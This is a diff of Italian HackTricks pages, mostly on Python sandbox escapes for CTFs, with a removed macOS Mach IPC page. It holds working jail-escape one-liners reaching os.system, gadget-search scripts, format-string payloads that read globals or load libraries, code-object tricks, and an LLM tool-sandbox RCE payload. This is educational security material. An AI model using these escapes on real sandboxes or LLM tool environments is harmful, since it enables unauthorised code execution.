Possiamo fare la stessa cosa con **altre librerie** che sappiamo possano essere usate per **eseguire comandi**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -492,7 +491,7 @@ Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Inoltre, potremmo persino cercare quali moduli stanno caricando librerie dannose:
|
||||
Inoltre, potremmo anche cercare quali moduli stanno caricando librerie dannose:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -511,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle librerie possibili:
|
||||
Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle possibili librerie:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -544,10 +543,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Ricerca ricorsiva di Builtins, Globals...
|
||||
## Ricerca ricorsiva di builtins, globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altro oggetto** usa semplicemente questo script per **trovare ricorsivamente i posti dove puoi trovare quell'oggetto.**
|
||||
> Questo è davvero **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altro** usa questo script per **trovare ricorsivamente i posti dove puoi trovare quell'oggetto.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -663,7 +662,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Puoi controllare l'output di questo script in questa pagina:
|
||||
Puoi verificare l'output di questo script in questa pagina:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -672,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Se **invii** una **string** a python che verrà **formattata**, puoi usare `{}` per accedere alle **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, per esempio.
|
||||
Se **invii** una **stringa** a python che verrà **formattata**, puoi usare `{}` per accedere alle **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, ad esempio.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -692,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e un **elemento dict** con **parentesi** senza virgolette `__globals__[CONFIG]`
|
||||
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e **all'elemento di un dict** con **parentesi quadre** senza virgolette `__globals__[CONFIG]`
|
||||
|
||||
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Alcune altre caratteristiche interessanti delle format strings sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** sull'oggetto indicato aggiungendo rispettivamente **`!s`**, **`!r`**, **`!a`**:
|
||||
Altre caratteristiche interessanti delle **format strings** sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** sull'oggetto indicato aggiungendo rispettivamente **`!s`**, **`!r`**, **`!a`**:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Inoltre, è possibile **scrivere nuovi formatters** nelle classi:
|
||||
Inoltre, è possibile **code new formatters** nelle classi:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -712,10 +711,10 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Altri esempi** su **format** **string** si trovano in [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Altri esempi** di **format** **string** sono disponibili su [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Consulta anche la pagina seguente per gadget che l**eggeranno informazioni sensibili dagli oggetti interni di Python**:
|
||||
> Controlla anche la seguente pagina per gadgets che permettono di **leggere informazioni sensibili da oggetti interni di Python**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -740,18 +739,18 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
Da [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Dal formato al RCE: caricamento di librerie
|
||||
### Dal format alla RCE caricando librerie
|
||||
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
Secondo la [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) è possibile caricare librerie arbitrarie dal disco abusando della format string vulnerability in python.
|
||||
|
||||
Come promemoria, ogni volta che un'azione viene eseguita in python viene eseguita una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** eseguirà **`{'a':'b'}.__getitem__('a')`**.
|
||||
Come promemoria, ogni volta che in python viene eseguita un'operazione, viene chiamata una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Ne trovi altri nella sezione [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Tuttavia, è possibile usare `[]`. Pertanto, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
|
||||
Un python format string vuln non permette di eseguire funzioni (non consente l'uso delle parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Tuttavia, è possibile usare `[]`. Di conseguenza, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
|
||||
|
||||
Cercando un gadget del genere in python, il writeup propone questa [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Dove ha trovato questo [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
@ -775,18 +774,18 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Questo gadget permette di **load a library from disk**. Pertanto, è necessario in qualche modo **write or upload the library to load** correttamente compiled sul server attaccato.
|
||||
Questo gadget permette di **caricare una libreria dal disco**. Pertanto, è necessario in qualche modo **scrivere o trasferire la libreria compilata correttamente da caricare** sul server attaccato.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
La challenge sfrutta in realtà un'altra vulnerabilità nel server che permette di creare file arbitrari sul disco del server.
|
||||
La challenge in realtà sfrutta un'altra vulnerabilità nel server che consente di creare file arbitrari sul disco del server.
|
||||
|
||||
## Analisi degli oggetti Python
|
||||
|
||||
> [!TIP]
|
||||
> Se vuoi **imparare** in profondità il **python bytecode** leggi questo **ottimo** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Se vuoi **imparare** in profondità su **python bytecode** leggi questo **ottimo** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
In alcuni CTF potresti ricevere il nome di una **custom function where the flag** e devi vedere gli **internals** della **function** per estrarlo.
|
||||
In alcuni CTFs potresti ricevere il nome di una **custom function where the flag** e devi vedere gli **internals** della **function** per estrarla.
|
||||
|
||||
Questa è la function da ispezionare:
|
||||
```python
|
||||
@ -808,7 +807,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` and `func_globals`(Stesso) Ottengono l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarati:
|
||||
`__globals__` and `func_globals`(Stesso) Ottengono l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarato:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -821,7 +820,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
|
||||
### **Accesso al codice della funzione**
|
||||
|
||||
**`__code__`** and `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere il code object** della funzione.
|
||||
**`__code__`** e `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere il code object** della funzione.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -881,7 +880,7 @@ get_flag.__code__.co_freevars
|
||||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **Disassemblare una funzione**
|
||||
### **Disassemblaggio di una funzione**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
@ -909,7 +908,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Nota che **se non puoi importare `dis` nella sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`) ma puoi indovinarlo da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
|
||||
Nota che **se non puoi importare `dis` nella python sandbox** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemble**arlo localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`) ma puoi dedurle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -933,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Compilare Python
|
||||
|
||||
Ora, immaginiamo che in qualche modo tu possa **dump the information about a function that you cannot execute** ma tu **devi** **eseguirla**.\
|
||||
Come nell'esempio seguente, puoi **accedere al code object** di quella funzione, ma semplicemente leggendo il disassemble non **sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
Adesso, immaginiamo che in qualche modo tu possa **dump the information about a function that you cannot execute** ma tu **hai bisogno** di **eseguirla**.\
|
||||
Come nell'esempio seguente, tu **puoi accedere al code object** di quella funzione, ma semplicemente leggendo il disassemble **non sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -949,7 +948,7 @@ return "Nope"
|
||||
```
|
||||
### Creazione del code object
|
||||
|
||||
Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** in modo da poter crearne uno per eseguire la nostra funzione leaked:
|
||||
Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** in modo da poterne creare uno per eseguire la nostra funzione leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -969,7 +968,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> A seconda della versione di python i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei params nella versione di python che stai eseguendo è eseguire:
|
||||
> A seconda della versione di python i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai usando è eseguire:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -977,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Ricreare una leaked funzione
|
||||
### Ricreare una leaked function
|
||||
|
||||
> [!WARNING]
|
||||
> Nell'esempio seguente prenderemo tutti i dati necessari per ricreare la funzione direttamente dal code object della funzione. In un **esempio reale**, tutti i **valori** necessari per eseguire la funzione **`code_type`** sono ciò che **dovrai leakare**.
|
||||
> Nell'esempio che segue prenderemo tutti i dati necessari per ricreare la function direttamente dal function code object. In un **esempio reale**, tutti i **valori** necessari per eseguire la function **`code_type`** sono ciò che **dovrai ottenere tramite leak**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -991,10 +990,10 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### Bypassare le difese
|
||||
### Bypass Defenses
|
||||
|
||||
Nei precedenti esempi all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire script interi** con loop e tutto il resto in **una singola riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte può essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nella CTF).
|
||||
Nei precedenti esempi all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire script interi** con loop e tutto il resto in una **one liner** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte può essere utile **creare** un **compiled object** su una macchina locale ed eseguirlo nella **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nel CTF).
|
||||
|
||||
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
```python
|
||||
@ -1023,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Se non puoi accedere a `eval` o `exec` puoi creare una **funzione vera e propria**, ma chiamarla direttamente in genere fallirà con: _constructor not accessible in restricted mode_. Quindi hai bisogno di una **funzione esterna all'ambiente ristretto che chiami questa funzione.**
|
||||
Se non puoi accedere a `eval` o `exec` puoi creare una **funzione vera e propria**, ma chiamarla direttamente di solito fallirà con: _constructor not accessible in restricted mode_. Quindi ti serve una **funzione che non sia nell'ambiente ristretto per chiamare questa funzione.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1033,7 +1032,7 @@ f(42)
|
||||
```
|
||||
## Decompilazione di Python compilato
|
||||
|
||||
Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) si può **decompilare** il codice Python compilato fornito.
|
||||
Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) è possibile **decompilare** codice python compilato.
|
||||
|
||||
**Consulta questo tutorial**:
|
||||
|
||||
@ -1042,11 +1041,11 @@ Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.c
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Varie Python
|
||||
## Varie su Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le assert statements e qualsiasi codice condizionato dal valore di **debug**.\
|
||||
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le istruzioni assert e qualsiasi codice condizionato dal valore di **debug**.\
|
||||
Pertanto, controlli come
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1056,7 +1055,7 @@ print("\nYou are a super user\n")
|
||||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
verrà bypassed
|
||||
verrà bypassato
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -1,836 +0,0 @@
|
||||
# macOS IPC - Comunicazione tra Processi
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Messaggi Mach tramite Porte
|
||||
|
||||
### Informazioni di Base
|
||||
|
||||
Mach utilizza **compiti** come la **più piccola unità** per la condivisione delle risorse, e ogni compito può contenere **più thread**. Questi **compiti e thread sono mappati 1:1 a processi e thread POSIX**.
|
||||
|
||||
La comunicazione tra compiti avviene tramite la Comunicazione Inter-Processo Mach (IPC), utilizzando canali di comunicazione unidirezionali. **I messaggi vengono trasferiti tra porte**, che agiscono come **code di messaggi** gestite dal kernel.
|
||||
|
||||
Ogni processo ha una **tabella IPC**, in cui è possibile trovare le **porte mach del processo**. Il nome di una porta mach è in realtà un numero (un puntatore all'oggetto kernel).
|
||||
|
||||
Un processo può anche inviare un nome di porta con alcuni diritti **a un compito diverso** e il kernel farà apparire questa voce nella **tabella IPC dell'altro compito**.
|
||||
|
||||
### Diritti di Porta
|
||||
|
||||
I diritti di porta, che definiscono quali operazioni un compito può eseguire, sono fondamentali per questa comunicazione. I possibili **diritti di porta** sono ([definizioni da qui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Diritto di ricezione**, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (produttore multiplo, consumatore singolo), il che significa che può esserci **solo un diritto di ricezione per ogni porta** nell'intero sistema (a differenza delle pipe, dove più processi possono detenere descrittori di file per l'estremità di lettura di una pipe).
|
||||
- Un **compito con il Diritto di Ricezione** può ricevere messaggi e **creare diritti di Invio**, consentendogli di inviare messaggi. Inizialmente solo il **proprio compito ha il Diritto di Ricezione sulla sua porta**.
|
||||
- **Diritto di invio**, che consente di inviare messaggi alla porta.
|
||||
- Il diritto di invio può essere **clonato** in modo che un compito che possiede un diritto di invio possa clonare il diritto e **concederlo a un terzo compito**.
|
||||
- **Diritto di invio una sola volta**, che consente di inviare un messaggio alla porta e poi scompare.
|
||||
- **Diritto di insieme di porte**, che denota un _insieme di porte_ piuttosto che una singola porta. Dequeuing un messaggio da un insieme di porte estrae un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte simultaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix.
|
||||
- **Nome morto**, che non è un vero e proprio diritto di porta, ma semplicemente un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta si trasformano in nomi morti.
|
||||
|
||||
**I compiti possono trasferire diritti di INVIO ad altri**, consentendo loro di inviare messaggi di ritorno. **I diritti di INVIO possono anche essere clonati, quindi un compito può duplicare e dare il diritto a un terzo compito**. Questo, combinato con un processo intermedio noto come **bootstrap server**, consente una comunicazione efficace tra i compiti.
|
||||
|
||||
### Porte di File
|
||||
|
||||
Le porte di file consentono di racchiudere descrittori di file in porte Mac (utilizzando diritti di porta Mach). È possibile creare un `fileport` da un FD dato utilizzando `fileport_makeport` e creare un FD da un fileport utilizzando `fileport_makefd`.
|
||||
|
||||
### Stabilire una comunicazione
|
||||
|
||||
#### Passaggi:
|
||||
|
||||
Come menzionato, per stabilire il canale di comunicazione, è coinvolto il **bootstrap server** (**launchd** in mac).
|
||||
|
||||
1. Il compito **A** avvia una **nuova porta**, ottenendo un **diritto di RICEZIONE** nel processo.
|
||||
2. Il compito **A**, essendo il detentore del diritto di RICEZIONE, **genera un diritto di INVIO per la porta**.
|
||||
3. Il compito **A** stabilisce una **connessione** con il **bootstrap server**, fornendo il **nome del servizio della porta** e il **diritto di INVIO** attraverso una procedura nota come registrazione bootstrap.
|
||||
4. Il compito **B** interagisce con il **bootstrap server** per eseguire una **ricerca bootstrap per il nome del servizio**. Se ha successo, il **server duplica il diritto di INVIO** ricevuto dal Compito A e **lo trasmette al Compito B**.
|
||||
5. Dopo aver acquisito un diritto di INVIO, il Compito **B** è in grado di **formulare** un **messaggio** e inviarlo **al Compito A**.
|
||||
6. Per una comunicazione bidirezionale, di solito il compito **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e concede il **DIRITTO DI INVIO al Compito A** in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
|
||||
|
||||
Il bootstrap server **non può autenticare** il nome del servizio rivendicato da un compito. Questo significa che un **compito** potrebbe potenzialmente **impersonare qualsiasi compito di sistema**, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta.
|
||||
|
||||
Successivamente, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory **protette da SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, è anche memorizzato il **binario associato**. Il bootstrap server creerà e manterrà un **DIRITTO DI RICEZIONE per ciascuno di questi nomi di servizio**.
|
||||
|
||||
Per questi servizi predefiniti, il **processo di ricerca differisce leggermente**. Quando un nome di servizio viene cercato, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente:
|
||||
|
||||
- Il compito **B** avvia una **ricerca bootstrap** per un nome di servizio.
|
||||
- **launchd** verifica se il compito è in esecuzione e, se non lo è, **lo avvia**.
|
||||
- Il compito **A** (il servizio) esegue un **check-in bootstrap**. Qui, il **bootstrap** server crea un diritto di INVIO, lo trattiene e **trasferisce il diritto di RICEZIONE al Compito A**.
|
||||
- launchd duplica il **DIRITTO DI INVIO e lo invia al Compito B**.
|
||||
- Il Compito **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e concede il **DIRITTO DI INVIO al Compito A** (il svc) in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
|
||||
|
||||
Tuttavia, questo processo si applica solo ai compiti di sistema predefiniti. I compiti non di sistema operano ancora come descritto originariamente, il che potrebbe potenzialmente consentire l'impersonificazione.
|
||||
|
||||
### Un Messaggio Mach
|
||||
|
||||
[Trova ulteriori informazioni qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
